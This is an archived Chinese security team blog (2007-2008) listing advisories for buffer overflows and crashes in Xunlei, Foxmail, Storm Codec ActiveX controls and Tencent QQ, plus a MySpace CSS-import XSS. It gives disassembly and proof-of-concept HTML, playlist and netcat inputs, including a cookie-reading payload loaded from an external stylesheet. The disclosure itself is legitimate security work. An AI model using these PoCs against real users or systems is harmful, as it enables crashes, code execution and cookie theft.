显示标签为“[Advisory]”的博文。显示所有博文
显示标签为“[Advisory]”的博文。显示所有博文

2008年5月5日星期一

[Advisory]迅雷DownAndPlay.dll模块远程溢出

Author: dummy
Date: 2008-05-06
Team: http://www.ph4nt0m.org


迅雷DownAndPlay.dll随迅雷起来后(不知道这个模块在从那个版本开始出现,我这是最新版本),在本地绑定36897端口,等待链接,
接受的数据格式是 XLDAP|key|value|XLDAP, 其中的 key 由预定义的几个,
这里实现溢出选择的是 savepath, 当value 超长时就会在 spintf 处发生溢出。
附件的 11.dat 是在 临时构造的 一份数据,可以使用 nc 看看效果,运行命令,
迅雷会因为异常退出。

有兴趣试着写出完整攻击代码。

C:\>nc 127.0.0.1 36897 <11.dat

23132CB6     8D45 A0          lea      eax, dword ptr [ebp-60]
23132CB9     E9 
84010000      jmp      23132E42
23132CBE     
68 B4C61323      push     2313C6B4                          ; ASCII "savepath"
23132CC3     
57               push     edi
23132CC4     FFD6             call     esi
23132CC6     
59               pop      ecx
23132CC7     84C0             test     al, al
23132CC9     
59               pop      ecx
23132CCA     
74 5F            je       short 23132D2B
23132CCC     8B75 0C          mov      esi, dword ptr [ebp
+C]
23132CCF     8B0D E0D21323    mov      ecx, dword ptr [2313D2E0]
23132CD5     
56               push     esi
23132CD6     E8 EBE5FFFF      call     231312C6
23132CDB     8B46 
04          mov      eax, dword ptr [esi+4]
23132CDE     8B0D B0E41323    mov      ecx, dword ptr [
<&MSVCP60.`std::>; MSVCP60.`std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Nullstr'::`2'::_C
23132CE4     85C0             test     eax, eax
23132CE6     8BD1             mov      edx, ecx
23132CE8     
74 02            je       short 23132CEC
23132CEA     8BD0             mov      edx, eax
23132CEC     8B7F 
04          mov      edi, dword ptr [edi+4]
23132CEF     85FF             test     edi, edi
23132CF1     
74 02            je       short 23132CF5
23132CF3     8BCF             mov      ecx, edi
23132CF5     B8 D4C61323      mov      eax, 2313C6D4                     ; ASCII 
"XLDAP"
23132CFA     
50               push     eax
23132CFB     
52               push     edx
23132CFC     
51               push     ecx
23132CFD     
50               push     eax
23132CFE     8D85 5CFEFFFF    lea      eax, dword ptr [ebp
-1A4]
23132D04     
68 C0C61323      push     2313C6C0                          ; ASCII "%s|%s|%s|%s"
23132D09     
50               push     eax

溢出发生位置
23132D0A     FF15 54E51323    call     dword ptr [
<&MSVCRT.sprintf>]     ; MSVCRT.sprintf
23132D10     8D85 5CFEFFFF    lea      eax, dword ptr [ebp
-1A4]
23132D16     
50               push     eax


睡觉了。。

2008年4月8日星期二

[Advisory]Foxmail fmrsslink.dll RSSLINKLib.Rss AddUrl() Bug

Author: void[at]ph4nt0m[dot]org
Blog: http://hi.baidu.com/54nop
Team: http://www.ph4nt0m.org
Date: 2008-04-09

影响版本:
Foxmail <= 6.5 beta1(build015)

分析:
Foxmail的fmrsslink.dll控件里IRss接口AddUrl(URL, Info)方法未检查网页提供的rss链接长度,当用户通过IE右键菜单收藏超长rss链接至Foxmail时,将导致栈溢出.


.text:
10001044 ; int __stdcall AddUrl(void *this_ptr, LPCWSTR lpURL, LPWSTR lpInfo)
.text:
10001044 AddUrl          proc near               ; DATA XREF: .rdata:100041E0o
.text:
10001044                                         ; .rdata:10004244o
.text:
10001044
.text:
10001044 str_Vuln        = byte ptr -200h
.text:
10001044 Parameters      = byte ptr -100h
.text:
10001044 this_ptr        = dword ptr  8
.text:
10001044 lpURL           = dword ptr  0Ch
.text:
10001044 lpInfo          = dword ptr  10h
.text:
10001044
.text:
10001044                 push    ebp
.text:
10001045                 mov     ebp, esp
.text:
10001047                 sub     esp, 200h
.text:1000104D                 push    esi
.text:1000104E                 push    edi
.text:1000104F                 push    [ebp
+lpURL]
.text:
10001052                 call    my_wsclen
.text:
10001057                 pop     ecx
.text:
10001058                 mov     ecx, [ebp+this_ptr]
.text:1000105B                 push    eax             ; length_lpURL,URL长度,未检查
.text:1000105C                 push    [ebp
+lpURL]     ; lpURL 
.text:1000105F                 lea     eax, [ebp
+str_Vuln]
.text:
10001065                 push    eax             ; str_Vuln 只有512字节
.text:
10001066                 call    my_WideCharToMultiByte ; <==
.text:1000106B                 mov     ecx, [ebp
+this_ptr]
.text:1000106E                 call    sub_100010D6    ; HeapAlloc()
.text:
10001073                 mov     edi, eax
.text:
10001075                 mov     esi, offset aRss_xml ; "RSS_XML:"
.text:1000107A                 lea     eax, [ebp
+Parameters]
.text:
10001080                 push    esi
.text:
10001081                 push    eax
.text:
10001082                 call    sub_100038B0
.text:
10001087                 push    esi
.text:
10001088                 call    sub_10003830
.text:1000108D                 mov     ecx, 0FFh
.text:
10001092                 sub     ecx, eax
.text:
10001094                 lea     eax, [ebp+str_Vuln]
.text:1000109A                 push    ecx
.text:1000109B                 push    eax
.text:1000109C                 lea     eax, [ebp
+Parameters]
.text:100010A2                 push    eax
.text:100010A3                 call    sub_10003700
.text:100010A8                 add     esp, 18h
.text:100010AB                 lea     eax, [ebp
+Parameters]
.text:100010B1                 push    
1                ; nShowCmd
.text:100010B3                 push    offset Directory ; lpDirectory
.text:100010B8                 push    eax              ; lpParameters
.text:100010B9                 push    edi              ; lpFile
.text:100010BA                 push    offset Operation ; 
"open"
.text:100010BF                 push    
0                ; hwnd
.text:100010C1                 call    ds:ShellExecuteA
.text:100010C7                 push    edi
.text:100010C8                 call    sub_100036E7    ; HeapFree()
.text:100010CD                 pop     ecx
.text:100010CE                 pop     edi
.text:100010CF                 xor     eax, eax
.text:100010D1                 pop     esi
.text:100010D2                 leave
.text:100010D3                 retn    0Ch
.text:100010D3 AddUrl          endp
    



解决方法:
2008年1月21日,漏洞上报腾讯.
2008年3月10日,腾讯发布关于此漏洞的修复补丁.用户升级Foxmail即可修复该漏洞.(点击Foxmail菜单"帮助"--->"检查新版本...").
QQ安全中心公告链接: http://safe.qq.com/affiche/2008/20080314.shtml

2007年9月8日星期六

[Advisory]暴风影音2 mps.dll组件多个缓冲区溢出漏洞

Author: ZhenHan.Liu
Date: 2007-09-07
http://www.ph4nt0m.org

Text Mode

网上爆出了一个暴风影音的activex漏洞,调用的是rawParse这个方法,于是简单看了下,发现问题真不少。这些问题都是可以控制eip或者是seh的,也就是说每个漏洞都可以导致执行任意代码。

影响版本:暴风影音2(其他未测试)
未受影响版本:无(目前无补丁)

URL属性、rawParse方法和advancedOpen方法溢出的poc分别如下:

[Vuln 1]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s 
+= "\x0c";
}

storm.URL 
= s;
</script>
</body>
</html>

[Vuln 2]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
    s 
+= "\x0c";
}

storm.rawParse(s);
</script>
</body>
</html>

[Vuln 3]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.advancedOpen(s, 
"");
</script>
</body>
</html>

URL属性、rawParse方法和advancedOpen方法的溢出本质是同一个问题,他们都调用了sparser.dll导出的一个函数。这个函数从代码来看是处理路径和URL的,URL属性和rawParse方法传入的参数也都是URL。
.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40    proc near               ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14          = dword ptr -14h
.text:10004F40 var_10          = dword ptr -10h
.text:10004F40 var_C           = dword ptr -0Ch
.text:10004F40 var_4           = dword ptr -4
.text:10004F40 lpMultiByteStr  = dword ptr  4
.text:10004F40 arg_8           = dword ptr  0Ch
.text:10004F40
.text:10004F40                 mov     eax, large fs:0
.text:10004F46                 push    0FFFFFFFFh
.text:10004F48                 push    offset loc_1000EB21
.text:10004F4D                 push    eax
             ...    ...    ...    ...                 
.text:1000506D                 call    dword ptr [ecx+4]
.text:10005070                 mov     ecx, esi
.text:10005072                 mov     edx, [esp+24h+lpMultiByteStr]
.text:10005076                 push    edx             ; lpMultiByteStr
.text:10005077                 call    sub_10002450

该函数第二、三个参数都是指向用户输入串拷贝的指针,最后一行进入另一个函数:
.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450    proc near               ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C         = dword ptr -12Ch
.text:10002450 pszPath         = byte ptr -120h
.text:10002450 var_1C          = dword ptr -1Ch
.text:10002450 var_4           = dword ptr -4
.text:10002450 lpMultiByteStr  = dword ptr  8
.text:10002450
.text:10002450                 push    ebp
.text:10002451                 mov     ebp, esp
.text: 10002453                  sub      esp, 120h    ; 注意这里分配了120h即288字节大小的buffer
          ...   ...   ...   ...
.text:100024ED                 mov     edi, [ebp+lpMultiByteStr]
.text:100024F0                 push    edi             ; pszPath
.text: 100024F1                  call     ds:PathIsURLA    ; 这里判断是否为合法的URL
.text:100024F7                 test    eax, eax
.text: 100024F9                  jz      loc_10002582    ; 如果不是则跳转
          ...   ...   ...   ...
.text:10002582                 lea     eax, [ebp+pszPath]
.text: 10002588                  push     edi              ; 用户输入的串
.text:10002589                 push    eax             
.text: 1000258A                  call     ds:lstrcpyA    ; 串拷贝造成栈溢出

通过以上分析发现,程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出。这个函数是个导出函数,暴风影音其他地方如果调用这个函数的话,都可能有问题。于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数,同样也有问题。我们构造一个播放列表文件就可以触发:

[Vuln 4]
<?xml version="1.0" encoding="GB2312"?>
<PlayList>
    
<item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>

但是问题还远远没有结束,在mps.dll中,还存在很明显的以下几个漏洞:

IsDVDPath方法:
037EAB8B    56              PUSH ESI
037EAB8C    57              PUSH EDI
037EAB8D    50              PUSH EAX                                 ; src
037EAB8E    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]           ; dest
037EAB94    68 30FE8003     PUSH mps.0380FE30                        ; ASCII "%s\video_ts.ifo"
037EAB99    50              PUSH EAX
037EAB9A    E8 F2FA0000     CALL mps.037FA691                        ; copy

[Vuln 5]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.isDVDPath(s);
</script>
</body>
</html>

backImage属性:
03FA6D5B   .  8D9E 0C030000 LEA     EBX,DWORD PTR DS:[ESI+30C]      <===========     
03FA6D84   
.  FF75 F0       PUSH    DWORD PTR SS:[EBP-10]                   ; /String2
03FA6D87   .  8986 08030000 MOV     DWORD PTR DS:[ESI+308],EAX              ; |
03FA6D8D   .  53            PUSH    EBX                                     ; |String1
03FA6D8E   .  FF15 5471FC03 CALL    DWORD PTR DS:[<&KERNEL32.lstrcpyA
>]     ; \lstrcpyA
03FA6D94   >  8B86 34040000 MOV     EAX,DWORD PTR DS:[ESI+434]     
03FA6D9A   .  8D8E 34040000 LEA     ECX,DWORD PTR DS:[ESI+434]     
<===========
03FA6DA0   
.  894D 0C       MOV     DWORD PTR SS:[EBP+C],ECX
03FA6DA3   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]

[Vuln 6]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.backImage 
= s;
</script>
</body>
</html>

titleImage属性:
03EA68E7   .  FF75 F0       PUSH    DWORD PTR SS:[EBP-10]            ; /String2
03EA68EA   .  8903          MOV     DWORD PTR DS:[EBX],EAX           ; |
03EA68EC   .  8D86 A4010000 LEA     EAX,DWORD PTR DS:[ESI+1A4]       ; |
03EA68F2   .  50            PUSH    EAX                              ; |String1
03EA68F3   .  FF15 5471EC03 CALL    DWORD PTR DS:[
<&KERNEL32.lstrcpy>; \lstrcpyA
03EA68F9   >  8B86 C8020000 MOV     EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF   .  8D9E C8020000 LEA     EBX,DWORD PTR DS:[ESI+2C8]
03EA6905   .  8BCB          MOV     ECX,EBX
03EA6907   .  895D 0C       MOV     DWORD PTR SS:[EBP+C],EBX
03EA690A   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]

[Vuln 7]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.titleImage 
= s;
</script>
</body>
</html>

针对该控件漏洞的临时解决办法是对该com组建设置killbit,把下面内容保存为.reg文件,双击导入注册表:

[Patch]
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400

暴风影音在前段时间宣布脱离了MPC内核,现在大部分代码都是自己写的。我们看到暴风影音在业务迅速发展,版本迅速更新的同时,带来的是对产品安全的忽视与侥幸心理。我以前一直感觉暴风影音会有问题,因为他包含了太多的dll,随便哪个文件格式出问题,就会导致严重漏洞。这些漏洞也许只是冰山的一角,继续挖掘下去,也许会发现更多的东西。快速发展型企业生存不容易,愿“暴风”一路走好。

2007年5月24日星期四

[Advisory]myspace blog xss vulnerability

by luoluo (luoluonet_at_hotmail.com||luoluonet_at_126.com)
http://www.ph4nt0m.org
2007-3-24

- description

There's a xss vulnerability in customize page of myspace blog.
User can submit html and css codes in this page, script is filtered, but css keyword
"@import" isn't filtered. So we can inject script by import a css file remotely.

- poc

Head HTML textarea:


<div id="test">aaa</div>

Custom Style Sheet: 

@import url(http://www.yoursite.com/test.css);

test.css:

#test {width: expression(alert(document.cookie));}


- solution

Filter the css keyword "@import", but the xss blacklist will never rich the end :)

[Advisory]Tencent QQ GIF图形解析堆溢出漏洞

by axis(axis_at_ph4nt0m.org) & luoluo_at_ph4nt0m & yunshu_at_ph4nt0m
http://www.ph4nt0m.org

发现时间:2007.1.25 报告时间:2007.1.26。


摘要:

QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。在解析畸形GIF图形组件时存在缓冲区溢出漏洞,攻击者可能利用此

漏洞在用户机器使QQ崩溃造成拒绝服务。



影响版本:

QQ2007beta1以前的QQ版本。

不受影响版本:

QQ2007beta1。




细节:

QQ在解析GIF图形时使用的是Riched20.dll,在解析GIF格式时,对其读入的Image Block宽度未做边界检查,当设置为0时,会分配比指定大小要小的内存块,但之后会将颜色表的1个字节覆盖到大小不足的内存块中,造成一个基于堆的溢出。溢出会导致多个指针破坏,之后的操作至少引用了其中的一个,因此可能导致执行任意代码。



建议:

删除QQ目录下的riched20.dll,或升级厂商补丁


厂商补丁:
目前厂商已经在2007.2.8日发布了升级补丁,请用户自行升级QQ:

http://www.qq.com
http://safe.qq.com/affiche/2007/20070302.shtml



关于Ph4nt0m:
Ph4nt0m是国内的一个安全组织,由一群来自五湖四海的朋友,因为共同热爱网络安全而走到一起来。
欢迎访问我们的网站
http://www.ph4nt0m.org
http://blog.ph4nt0m.org
http://groups.google.com/group/ph4nt0m




--EOF--

[Advisory]Tencent QQ QQzone WebCtrl Activex空指针引用漏洞(0day)

by axis(axis_at_ph4nt0m.org)
http://www.ph4nt0m.org

Date: 2007-02-13

摘要:

QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。幻影旅团的axis发现了一个QQZone的activex漏洞。在使用WebCtrl

方法时,将引用一个空指针,造成ie崩溃。由于该activex没有标记为safe,故会出现安全提示。



影响版本:

Tencent QQ2006/2007及之前所有版本。


细节:

在\Tencent\QQ\QZone\TWebCtrl.dll中,使用Navigate方法时,将造成一个空指针引用

051024C0    8B4424 04       MOV EAX,DWORD PTR SS:[ESP+4]
051024C4    8B5424 
08       MOV EDX,DWORD PTR SS:[ESP+8]
051024C8    6A 
00           PUSH 0
051024CA    6A 
00           PUSH 0
051024CC    8B80 B8000000   MOV EAX
,DWORD PTR DS:[EAX+B8]
051024D2    6A 
00           PUSH 0
051024D4    6A 
00           PUSH 0
051024D6    
52              PUSH EDX
051024D7    8B08            MOV ECX
,DWORD PTR DS:[EAX]






此时EAX为null


幻影旅团将对此发布一个POC代码,请勿将此作为非法用途


POC:
<html>

<script>
var fuckqq = new ActiveXObject("WebCtrl.TWebControl.1");
var arg1 = 0;

fuckqq.Navigate(arg1);
script>
html>


建议:

禁止ie执行activex


厂商补丁:
目前厂商没有发布补丁

http://www.qq.com




关于Ph4nt0m:
Ph4nt0m是国内的一个安全组织,由一群来自五湖四海的朋友,因为共同热爱网络安全而走到一起来。
欢迎访问我们的网站http://www.ph4nt0m.org



--EOF--